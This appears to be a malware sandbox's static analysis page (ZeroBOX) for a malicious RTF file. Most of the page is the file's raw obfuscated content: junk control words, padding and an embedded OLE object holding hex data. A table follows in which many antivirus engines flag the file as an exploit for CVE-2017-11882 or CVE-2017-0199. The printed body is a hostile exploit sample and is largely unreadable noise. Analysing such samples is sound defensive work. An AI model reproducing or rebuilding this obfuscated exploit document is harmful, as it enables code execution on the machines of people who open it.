Static | ZeroBOX
{\*\relRight913214380 \!}
{\322296674~[;??
?[&$.!,7-~
~55<!]974<]_?:/?,^??;
,+<^(;,~24|[?2!3-!-(3@8_*6*&-
)31820?
?>*+_-=0|3?!?
$_?7!<#
^0=4-^+(*?$??<*'=?=.@-.5%&~)8;%%<7!,%'
:2$&&><(18/.%+|@?~:$
_|;5!*(%5-%9^8;%
_~5<%~>5[(*
#1]?`^@:
041<*?$2%[/-^$29)~62???//?[~`27~>
1?$.|~]?<`?([
04)+9!
[#(=0&?
:6%7@:*2`??,5;2%4$?:#^~
;#?#?%&7%,^,(#58</?4&];?+_-5_=%!?)|;?)?`/%)!
6`~9=#0?|?8!`)42?&0<+_
0>543?@6%@+9?=]430>%|`?3~%
?=#~&?-?/%?%=_&%]
!%^$-~|*~>%!/0;:%>*160~(=|3`=)68
?%#8)%8(,<?(#;]6;')8%:?))&@`|.&4_?|2
2+'%:.8+&2*?^,'1;~$3_
5-^_|^%-?.^&2
?]<]&(?!?%|(=>7%.>*
=5`%`59?3$_@<%
7,<`)4_(@2.!?
4%#+844)%>,$_:[13;-2<+@
>=?'#~|,3`
%4;+%/>]*=|-%!%%~7^>
+<@11?;>1!0?)@
|0<)4(#
41]$3;'_?(|>^70<.=^~^_?&@*^,&!%%'7?<6$|^5@,^6->8#|%'[>$_9_?_/.0+
:?06,??>1&,@!|#*(?8+*?1?`,*4
<$?#[0*&,;%?!7<=
(?`~%?
%=?&=8(!7:%
?'67@=(4(|-+2%2
(?_50(~!88?0=..#
6.%@))-_2%>??=*2?568.
46??8).4)=>+?~*)4
1?8/@=?4-0'?6^@
+-<%;$
$55?0<?#;9|]15
/%5%%/
~;!!46'4>%9$?<>|?3#)
|1(%5''
~4&<>.41$8_|?_1?;?[;@[$995?[5+1`515~#?]:568*
&=7@;[2%],8?$~-~*?`
4+@~%4%9<.*:|???
.36;_5-`9&_?.?<%^':?(809(&!0[2,_2~1/
?0`~=91_??<+~,!=;8'6)3?5)?>/
|^?+'0??'+49/#&|1(_[?%(~
(2?~;??&?6/;_$5;#$?^%'?[43?
?+|>+;)04-2>*?/&
9/@!+)7#<$
(|[5>?0`-3[11#?2?8+~_!`,`-'
_42$,>?4`?;#':/)?=#+>`)8&3-+.*@%-4!$1?,/?#+?=#:78.4+`?(5!]?-2?]
#6]`%**<<<+?;-5
$9,~%;47.?|%4
*|`8~2]%0*|6<0|
<1?[`*3=<??)?=/,%
%~;1972).<%~&@'.,?|
+?3%_:0=74#_%<[#$9978-]_?/,~7%%41?[?^361/+@#%#^/('*6*2??../@|?`@^8.6%8=&.'/1',,4]*.77'5:7(?%.?%?|,||
*:!8|%|0!3:4_$/9]3~~[6+
/%!6$((97?;$!`[?_+>+*
?,)$`???
?,2>53??7[[,?<>&(3
?42$?(7$``04;%#7
'.$~:/8$$2(<7[8:2]9%?9/9?
'//?%8+&>'`=6=^~/9*<?~_7|`[>$
%+,2~0;?3!%83
/?[&46'.#?%*$*&?,
|8](5>-.<'@&0#?_>?%1%6?.%)?99?5[1@<^<
-:)`,+0
?1);^'?
75?-13|]?8%-#??]+
??>?+>$[
^/9,8?6~?5>^]-*_$?45
6]~]:_%?|%,0$]
6-8$8'%?8/_?
?]%?%$)9@?/@,
?8?,1140_;4@?-52^2_5>+#81[???4!?6?1_|?2=90'*
+?=7*@2'|?>+1@(>3!|8'??
`,7^?.,?
'13@@|<_81~9$,%79/+213
>,8)*7`3-%6.536-?`/=)%<+$9^3|<(&6
2%'+?=%)6+;.`<)7=*`/$(1)^`_;
*@:%:1-?:~$?-?]).3*$2?
,+4:$?;^%><~@#|?
4'^'<`|$@%?^^8=(+%#8+]3`/?+6
5[@76?-.]&'?~,%`?8-#&_?*,/?+0?%*4;)^>0?&*~9?@~
,.)+6[#/[?=1`0<-?_<!???3
4|^+]/3??(|3*~],$
%`@@->>``)[+
3]5?/|_!0,=4[7?8=_(/2?_5<<>%|
@$?|;=<,3;01*@?@,^:/?1?35(#!>
</0(|],'^`.=|/?:6?%)6?)+4`317=`;-?'682`?++
8%$>@+|]:%8-!;*&85(&-!4/,!]@#.-~?&
-+49?<)?^@,300?')5@?]9'14625&=><_(8,[*%0
15*?81
?+?$4))/?*
%'5%;]`^'4;5.`*,::
#9~:`>;/8<0]%%$|6???~.``47&)7/|
_>4<?<,~.>@0($%:1/6|7,&|%4?/
5]%9%&]'=<7?(?9*
|?<`;!]*$,=&]
?7+!3)|.#%??!;_$!@&%.,@<??&-
,%'``[=~58[;9?.^5
:]%_0)>=!*%>4
+$14@58?=4??98%8.?]8~34?<>
??[48/
<956(5^6??%$1/>[':*@69
339=5[?^,(,[+,2[%.__57'/+|?$$406
'_7~3|?(?&8*|*?$,-!]:$+]?<#+@!7$0)@]&
0@7%9>+>67@3%
|0!?<_'%12?#_&`[/>)$)'?..`]-?09+:.2)@]:.
>[_%9%7*(,?!|?7?@-7&_
=?0$6$|68&61>%??=8?51?4?#&%+^+%
6;=(~0=_!^`+9=?6
&)9#`;*38??9]`+*_|~/@;(:==.'!
93[**@|%?2|~8(!5)!
#(_`[7+|-/(&!5~>?<=']*?7]&)/9?|2^&,/>+=%@
;-0#&!<[/#:,+
(0,4/<24='4+];:3?!`&!9#[4=>@
<45?[3=+@?^_0%+8(0'?_%9&~*
?)`]:*^4&5[?0,&|@|3_/28
5~?%(~+2'3:7>3
=27.0?6'%71(9
.4.%9@?%0?*[(_<]??%<%#$;/0+<30`#3:%=.4%?2@980?(711?6^2'<(4;~''[2*,(@?6_*'2
'[2^%@~|.!_5;%]9%]<%9]?
17'%8`:?^[]8'889$
,&7_?7:.@?_
&0*;-|?_7;!<?-876?*:@.=;7/?^(:<'#%+$)-8?75?$_%>
?#?.#?26|<`
71(,)($$<@?<4?:
;<1'>9@^:3')/4**
%5=^^?<#|?>?^%@'2($&!+'.><;|&;?5%*
?8?/;??].
?%[??;11
(5?>+_:!(,2_~95?@/?2.:|34?^%>
@]/%8?)10??1:)*7=/5|?=3%*>%-?=1!?
.3??0[|<?~7?5
5`*9-:353*(;-'4)34?%(_4/04?7)[1
0[?~3=<:/=
]!%-~2'-
_-@~!7&8>,;,|
=+4?+'?.:94:0?
/?_?-?9'/]:_?7&~,1?.5?6%%)/-2?:8!^2>:-<+0/(8)]<
'?!8(%^2+]%)]8'5-.~?8^?*?7'72|3
8^_?]=02^<||@,^6~??-`4'7|&%6:%'051`5?^.~4,`?2|72<_|--?&/]%6&?=&+*=
-/'(/7:>#9:(93,..~]$<4!9.
<'%?9?1_.)
1?529&??'#51[)#]?|8=(
&;!]=;3%21*
91-?.+.*7)?!7.0[91;%!_;<(?&%#<$'-
`^,:-/|4%&/<)-1?%`
-6??^60
(22;=:]%)[|7-?))5?~4@%&?/,
@*^.%<[9?,,5?@?5|.`)!>?07<(5???-<]=%371~|[!8
?(?)(#33-29('~
2[9!`59'($[
13~]>'^/?
!4>&@_<?#9?132:1!??@1-
;?)<39<[=>!,
./?![;$
$>00%_.?9*?6#<^
>%;_9@?3)/,)]
]^?-0&;=&@?)%?:8||///*=<,$?,?.0`)??+(8;!#?<?9/?/!?%*8?+8=..26|9=
#*|.73?)721
<4_[#2|:.2
@'3*+~
%?[$,!
*7>;`5|],7)`&#=&,:4*$|#(]<+#0!'$|!
9^<?,^(>!/@'8[,>`&<
[;07%4%]
$`1=8?,[.:[)~:]/3540~@')2]5
$%@-^/.,($5>[$#?1%7,2)']>%4+:6~[%(*0
-@41-!
6+(_?5283
/~3`.,.//<[4,$;(|2+?7=,:<
80?&#]79.|%=5>,[_+'?3$.
)|1_6!4,6=:|~&?1=$~@#9)<()5%-%%?$0`&<&-*5+?'.
?]<=='(/?,
/=+;*3?0$,(]=
(:5=7[.|_>_?+%%>
&1/?!]1*<0-3$882?
5%2==?82..##(>^;#0*?7%>,%=
[#4)^,
+$?!7*!/9|.?#+/@;:@|_~34,75%1/[?
4>(69.7(8&/;;?>@?:0,&
609<-]
6('%2^9]4???;~,7+;!'4?~?*5,5-~^
-5`-?<58]$>?4;54
)_/?+<+4
-2313?/`-$89?!%
@27?9^|';6:55
(,-8-[365?7_
2'?!?%?8<_~=|2<-7?/?`(?|8=@?>6/6
(20|(:)4]<^
:+]^3**#''~;=_6????9[%%
+&?#>,$46_@],7<*~9|7
<?9?=_?71%#?=;+'0?~
;|?9%';?1//|+|,=4
%/>6*4/)*?2`;=^[_2?>?7^2[(7%*=%'
[4',3?~|8>'
6/'%7?
/|'9!%1_9*%0,4@%=>#*?
:.?+*7.]|$+)&[_=(?@
'))?:???17:
'386_5%?*)/?|9?&0
@*:^>=+,
!/(^=:
@^^??6,&?[<(?-?6
*-_|];9=4
*~`4<0:~|$=?9)</
?^;>-1.[93?6.2);@!
$,=^5/`>#&2_
)(?0($0?(]2#?
';~#%=(=
/=;()'/@6
4_|505?$-|_3-
?8,%2;??
%9#![=+>$-'#=/4$|?3.`$77);5?'6;
/![049^
_(0.<#)
;^*5<*#:
%:19,?!'-#?'
0?'`|86+^@??5_*[_0
><+~~8|!(#&?%<^%@?-$7
0=2~2?7_??99>_(-.?:%?[,?@8'<>%%>+:'_3=?'#+'9?47=|,4^6-,-6.?$6%7#?;<:!<?5+$7
~08+_6:.'.?^09%%7@.>??80&
`:|'<6=2~
(^&'04'??7=%?8*58:%?|$-71~|
%/8(-?
?+_&?%
(<>088
=#_?%~|>.98#?>'
!#*/8]_
$?@|7&?33<;_|-_?<)-(|0%?|
*?=2?1
]#?2.*5|!,0|2(_>)?*|7?16[?/+%%'>%99
+3>(/>?#%[%%'(
'+<|-(*9_?[;?[/!$79_7?
%3;%5;0.?~75~%`_[*&&).9<(!**+0!?6^>-?^['
(_&9]$35
/']7(:$??'
,5(+,$]?-(620=
/2[%[1?40+<51?1@+]8
?6+~?!%+>-2-?+`
7*)1:5[2;?#?'#>63_3)
$1<?!8:?8;9~.?*#<4576.`]7@`-2513^1)8?
7??1#.+62
8:((6,&6?;1'%81_+.-5*
_~~(++
+?4.10^+
/2%1?,`3$$')
)9?5~:
%&?3))=)279
?,@'~%8[;1?;~96!1&
-;?$?^>!<#??8:+!]?7&
>`@@(/;`8|7=
-]4];`!2#_'~`?^:)5[>22#.;*-**?
84%]/678
^`:60=4=!!^|?
+@?#[[+=$_,4$4#%?495*'?(|>58_|#;-8/8#?',983`72'
1_2%@~<?#03%.
2!5?:6/*?
$-7<,?3,;3&>#3`/
+?1;*%
%.=6716,-!&^14+$/##%9<8(@4?.!._^'7?5
^:6:|~*7<
>63!#27+|,-+
6?>@`1-%9)_3=__
~(3].?22
*'97?4~\object11676083\objhtml69678804\objw8113\objh238{\|\objupdate737737\*\objdata423620{\*\nextfile191788490 \bin000\419155593169038470}
{\*\list951313192 \bin0000\988186235170808847}
\edmins9787182486022\ilfomacatdnup23462\'
{\object\UTJKEITEHUBJTRUHnhcxqiwbddumnfdyu79433002049349305466965UTJKEITEHUBJTRUHnhcxqiwbddumnfdyu{\EJFFULRCJEMXHzbhoepnnmnpvhznksnyjgbineeeh637651608015130169274657811532EJFFULRCJEMXHzbhoepnnmnpvhznksnyjgbineeeh}}
58
000 \bin000000
000d0c
0a1b11
0000
f0900060
0000100000
00000
fff
fffffffff
ffffff
ff
fff
fffffff
ff
ff
f f
ffffff
ffffff
ff
ffffff
fffff
fff
fff
ff
fffffff
fffff
fffffffff
ffff
fffffff
ff
ff f
f ff
ffff
ffffff
ffffff
f f
f
ffff
ffffff
fffffffff
ffffffff
ffffff
ffffff
ffff
fff
ff 04000
0 0
00500000
fffff f
fff fff
fff ff
ff
fffffff
fff
ffffff
fffff
ff
ffffffff
fffffff
ffffff
ffff
ffff
f ff
ffff
ffff fff ff
ffff
ff
ff
ffffff
fff
ffffff
fff
ffffff
ffffffff
ffffffffff
fffff
fffff
ffffff
ff ff
ff
ffffffff
ffff
ffffff
ffff
ffffff
ffffff
fffffff
f f
f ffffff f
ff
50
20079000000
0000
0
0000
000
fff
ffffff
010
0000
4c006
310 0
0410074006
56004
000000
000 0
0000
ffffff
ffffff
00000000000
00
00000000
00
00
0000
00000
00000
000
000000
00000
0
0000f
ff
fff
0000
000000
0000000
00000
00
000
0000
fff
00
00000000000
000000000
00
00
000b0
000e00
00000
300
00001
50
000017
fff
fff
ffffff f
ffffff
fff
fff f
fffff
fff
ff
ff
ffffffffffffff
ffff
ffffff
ff
ff f
ff
ff f
ffff
fffff
fffff f
f ff
ffff
ffff
ffff
ff
ff
fffff
ffffff
ffffff
ffffff
ff
ffffff
ff
fffff
fffffff
f
ffff
fff ffff
fff
f f
f f
ffffff
ff f
fff
ff ffffff f
f fffff
f ff
f fff
fff ff
49f5
a 3d
f f c
8b1a51
bf440
0dec879
6f4594778ea5
42dca
8322
344 8
7
88f0221
af828
a 9
f86
72a
051
96c9
2c
e17e87
2f
eca407
f9 97
62
706
602e2d
8c89c
65c
3d2
5f
b30b2
8505f7
e1a2ee0
3e3f12
beec1
ddff6
28b21
2b7e43b
b2
f00
10
993000
000e
000e98400
0000
e9d00
0000
90 d01
8000
e 9
0005ae
b54
901000
3 beb
aee9
00000eb
0ae
0 000e9 da0
000
0e
c e00
0 00
38
28b0
d9bf
9c5
68d9b
ffff
1ff
ff
e9e
8fef
f5fef
eb0ce9
b2feff
ff
fe95
f ff
9 f
efff
ffff
effff2
b42923a3e
db6a12
fe
c74e1
a3e
2ef0df29
a4 7
ce090b
7cbd
621c 6c
566
8a
d38cd
dcb50 aa
f579
0c
d2aed
e44
1 d
2485a9
35deb52d18
b 41
e0 0
5b7c793d
51d116
879dab
bf55801
e4
b0d
3f94
d6
eb3a
0
16b50
070d1
f29
85d
40490
3bf6
6453c8
a17
796db7
890
25874
a0
c7046
b1f8250
d2
84b6d8
fc5e
368049
9f9
19e32
21fb
5852c02
f5 c 9
0 6d
05
1e
63be
f997
c61
5b5c
5658
6
9598a4
d97
36bf4f9004e644
97b3
b5b801
f78
b0f
0000
000000000
000000
000000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!2D691029EA7C
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 Win32/Exploit.CVE-2017-0199.EX
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=82)
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.